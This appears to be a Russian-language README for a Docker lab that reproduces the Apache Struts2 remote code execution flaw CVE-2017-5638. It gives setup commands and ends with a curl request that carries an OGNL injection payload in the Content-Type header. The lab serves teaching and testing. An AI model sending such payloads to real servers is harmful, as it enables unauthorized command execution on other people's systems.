
Практическая лаборатория, демонстрирующая эксплуатацию критической уязвимости удаленного выполнения кода (RCE) в Apache Struts2 (CVE-2017-5638) с использованием сред Docker Vulhub. Включает инструкции по настройке и команды для запуска уязвимого контейнера.
Этот проект демонстрирует уязвимость удаленного выполнения кода (RCE) в Apache Struts2 (CVE-2017-5638).
Злоумышленники могут эксплуатировать специально сформированный HTTP-заголовок Content-Type для выполнения произвольных системных команд на уязвимых серверах.
Этот репозиторий использует Vulhub Docker labs для предоставления безопасной среды для тестирования и понимания уязвимости.
1️⃣ Клонируйте этот репозиторий
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Запустите уязвимый контейнер
docker compose up -d
3️⃣ Проверьте, что контейнер запущен
docker ps
Вы должны увидеть что-то вроде:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Проверьте веб-интерфейс
Откройте браузер → http://<VM_IP>:8080
Вы должны увидеть домашнюю страницу приложения Struts2.
Пример IP виртуальной машины:
192.168.56.101
⚠️ Выполняйте эксплуатацию только в контролируемой лабораторной среде. Никогда не атакуйте публичные серверы.
Теперь вы можете протестировать RCE с помощью скриптов или инструментов, таких как curl или Metasploit, против уязвимого контейнера.
Пример (замените <command> на вашу тестовую команду):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/